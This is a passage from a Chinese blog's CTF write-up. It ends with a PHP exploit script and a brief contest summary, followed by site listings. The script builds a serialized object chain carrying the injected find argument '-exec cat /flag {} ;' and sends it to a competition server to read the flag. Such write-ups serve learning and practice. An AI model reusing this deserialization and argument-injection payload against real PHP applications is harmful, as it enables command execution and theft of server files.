    protected $hint;
}

class ShowOff {
    public $contents;
    public $page;
}

class MiddleMan {
    public $content;
    private $cont;
}


$showoff = new ShowOff();
$myclass = new MyClass();
$myclass->flag = '-exec cat /flag {} ;';
$showoff->page = new MiddleMan();
$showoff->page->content = [$myclass, 'get_flag'];

$paylod = urlencode(serialize($showoff));
$url = 'http://117.51.137.166/atkPWsr2x3omRZFi.php?bullet=';
echo file_get_contents($url . $paylod);



總結:

這次比賽考的點還是比較新穎的,比如Web和Re結合的Web簽到題,,
還有就是不太常見的Go語言這回被拿來出題了,看來還是啥都要會一點
好多題都卡在最后一步可能還是思路還不夠廣的原因吧,之后還是要多刷點題

轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/1406.html

標籤:python

上一篇:開源IDS suricata 原始碼分析(開篇)

下一篇:第四屆“強網杯”青少年專項賽部分writeup

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 【C++】Microsoft C++、C 和匯編程式檔案

    ......

    uj5u.com 2020-09-10 00:57:23 more
  • 例外宣告

    相比于斷言適用于排除邏輯上不可能存在的狀態,例外通常是用于邏輯上可能發生的錯誤。 例外宣告 Item 1:當函式不可能拋出例外或不能接受拋出例外時,使用noexcept 理由 如果不打算拋出例外的話,程式就會認為無法處理這種錯誤,并且應當盡早終止,如此可以有效地阻止例外的傳播與擴散。 示例 //不可 ......

    uj5u.com 2020-09-10 00:57:27 more
  • Codeforces 1400E Clear the Multiset(貪心 + 分治)

    鏈接:https://codeforces.com/problemset/problem/1400/E 來源:Codeforces 思路:給你一個陣列,現在你可以進行兩種操作,操作1:將一段沒有 0 的區間進行減一的操作,操作2:將 i 位置上的元素歸零。最終問:將這個陣列的全部元素歸零后操作的最少 ......

    uj5u.com 2020-09-10 00:57:30 more
  • UVA11610 【Reverse Prime】

    本人看到此題沒有翻譯,就附帶了一個自己的翻譯版本 思考 這一題,它的第一個要求是找出所有 $7$ 位反向質數及其質因數的個數。 我們應該需要質數篩篩選1~$10^{7}$的所有數,這里就不慢慢介紹了。但是,重讀題,我們突然發現反向質數都是 $7$ 位,而將它反過來后的數字卻是 $6$ 位數,這就說明 ......

    uj5u.com 2020-09-10 00:57:36 more
  • 統計區間素數數量

    1 #pragma GCC optimize(2) 2 #include <bits/stdc++.h> 3 using namespace std; 4 bool isprime[1000000010]; 5 vector<int> prime; 6 inline int getlist(int ......

    uj5u.com 2020-09-10 00:57:47 more
  • C/C++編程筆記:C++中的 const 變數詳解,教你正確認識const用法

    1、C中的const 1、區域const變數存放在堆疊區中,會分配記憶體(也就是說可以通過地址間接修改變數的值)。測驗代碼如下: 運行結果: 2、全域const變數存放在只讀資料段(不能通過地址修改,會發生寫入錯誤), 默認為外部聯編,可以給其他源檔案使用(需要用extern關鍵字修飾) 運行結果: ......

    uj5u.com 2020-09-10 00:58:04 more
  • 【C++犯錯記錄】VS2019 MFC添加資源不懂如何修改資源宏ID

    1. 首先在資源視圖中,添加資源 2. 點擊新添加的資源,復制自動生成的ID 3. 在解決方案資源管理器中找到Resource.h檔案,編輯,使用整個專案搜索和替換的方式快速替換 宏宣告 4. Ctrl+Shift+F 全域搜索,點擊查找全部,然后逐個替換 5. 為什么使用搜索替換而不使用屬性視窗直 ......

    uj5u.com 2020-09-10 00:59:11 more
  • 【C++犯錯記錄】VS2019 MFC不懂的批量添加資源

    1. 打開資源頭檔案Resource.h,在其中預先定義好宏 ID(不清楚其實ID值應該設定多少,可以先新建一個相同的資源項,再在這個資源的ID值的基礎上遞增即可) 2. 在資源視圖中選中專案資源,按F7編輯資源檔案,按 ID 型別 相對路徑的形式添加 資源。(別忘了先把檔案拷貝到專案中的res檔案 ......

    uj5u.com 2020-09-10 01:00:19 more
  • C/C++編程筆記:關于C++的參考型別,專供新手入門使用

    今天要講的是C++中我最喜歡的一個用法——參考,也叫別名。 參考就是給一個變數名取一個變數名,方便我們間接地使用這個變數。我們可以給一個變數創建N個參考,這N + 1個變數共享了同一塊記憶體區域。(參考型別的變數會占用記憶體空間,占用的記憶體空間的大小和指標型別的大小是相同的。雖然參考是一個物件的別名,但 ......

    uj5u.com 2020-09-10 01:00:22 more
  • 【C/C++編程筆記】從頭開始學習C ++:初學者完整指南

    眾所周知,C ++的學習曲線陡峭,但是花時間學習這種語言將為您的職業帶來奇跡,并使您與其他開發人員區分開。您會更輕松地學習新語言,形成真正的解決問題的技能,并在編程的基礎上打下堅實的基礎。 C ++將幫助您養成良好的編程習慣(即清晰一致的編碼風格,在撰寫代碼時注釋代碼,并限制類內部的可見性),并且由 ......

    uj5u.com 2020-09-10 01:00:41 more
最新发布
  • Rust中的智能指標:Box<T> Rc<T> Arc<T> Cell<T> RefCell<T> Weak

    Rust中的智能指標是什么 智能指標(smart pointers)是一類資料結構,是擁有資料所有權和額外功能的指標。是指標的進一步發展 指標(pointer)是一個包含記憶體地址的變數的通用概念。這個地址參考,或 ” 指向”(points at)一些其 他資料 。參考以 & 符號為標志并借用了他們所 ......

    uj5u.com 2023-04-20 07:24:10 more
  • Java的值傳遞和參考傳遞

    值傳遞不會改變本身,參考傳遞(如果傳遞的值需要實體化到堆里)如果發生修改了會改變本身。 1.基本資料型別都是值傳遞 package com.example.basic; public class Test { public static void main(String[] args) { int ......

    uj5u.com 2023-04-20 07:24:04 more
  • [2]SpinalHDL教程——Scala簡單入門

    第一個 Scala 程式 shell里面輸入 $ scala scala> 1 + 1 res0: Int = 2 scala> println("Hello World!") Hello World! 檔案形式 object HelloWorld { /* 這是我的第一個 Scala 程式 * 以 ......

    uj5u.com 2023-04-20 07:23:58 more
  • 理解函式指標和回呼函式

    理解 函式指標 指向函式的指標。比如: 理解函式指標的偽代碼 void (*p)(int type, char *data); // 定義一個函式指標p void func(int type, char *data); // 宣告一個函式func p = func; // 將指標p指向函式func ......

    uj5u.com 2023-04-20 07:23:52 more
  • Django筆記二十五之資料庫函式之日期函式

    本文首發于公眾號:Hunter后端 原文鏈接:Django筆記二十五之資料庫函式之日期函式 日期函式主要介紹兩個大類,Extract() 和 Trunc() Extract() 函式作用是提取日期,比如我們可以提取一個日期欄位的年份,月份,日等資料 Trunc() 的作用則是截取,比如 2022-0 ......

    uj5u.com 2023-04-20 07:23:45 more
  • 一天吃透JVM面試八股文

    什么是JVM? JVM,全稱Java Virtual Machine(Java虛擬機),是通過在實際的計算機上仿真模擬各種計算機功能來實作的。由一套位元組碼指令集、一組暫存器、一個堆疊、一個垃圾回收堆和一個存盤方法域等組成。JVM屏蔽了與作業系統平臺相關的資訊,使得Java程式只需要生成在Java虛擬機 ......

    uj5u.com 2023-04-20 07:23:31 more
  • 使用Java接入小程式訂閱訊息!

    更新完微信服務號的模板訊息之后,我又趕緊把微信小程式的訂閱訊息給實作了!之前我一直以為微信小程式也是要企業才能申請,沒想到小程式個人就能申請。 訊息推送平臺🔥推送下發【郵件】【短信】【微信服務號】【微信小程式】【企業微信】【釘釘】等訊息型別。 https://gitee.com/zhongfuch ......

    uj5u.com 2023-04-20 07:22:59 more
  • java -- 緩沖流、轉換流、序列化流

    緩沖流 緩沖流, 也叫高效流, 按照資料型別分類: 位元組緩沖流:BufferedInputStream,BufferedOutputStream 字符緩沖流:BufferedReader,BufferedWriter 緩沖流的基本原理,是在創建流物件時,會創建一個內置的默認大小的緩沖區陣列,通過緩沖 ......

    uj5u.com 2023-04-20 07:22:49 more
  • Java-SpringBoot-Range請求頭設定實作視頻分段傳輸

    老實說,人太懶了,現在基本都不喜歡寫筆記了,但是網上有關Range請求頭的文章都太水了 下面是抄的一段StackOverflow的代碼...自己大修改過的,寫的注釋挺全的,應該直接看得懂,就不解釋了 寫的不好...只是希望能給視頻網站開發的新手一點點幫助吧. 業務場景:視頻分段傳輸、視頻多段傳輸(理 ......

    uj5u.com 2023-04-20 07:22:42 more
  • Windows 10開發教程_編程入門自學教程_菜鳥教程-免費教程分享

    教程簡介 Windows 10開發入門教程 - 從簡單的步驟了解Windows 10開發,從基本到高級概念,包括簡介,UWP,第一個應用程式,商店,XAML控制元件,資料系結,XAML性能,自適應設計,自適應UI,自適應代碼,檔案管理,SQLite資料庫,應用程式到應用程式通信,應用程式本地化,應用程式 ......

    uj5u.com 2023-04-20 07:22:35 more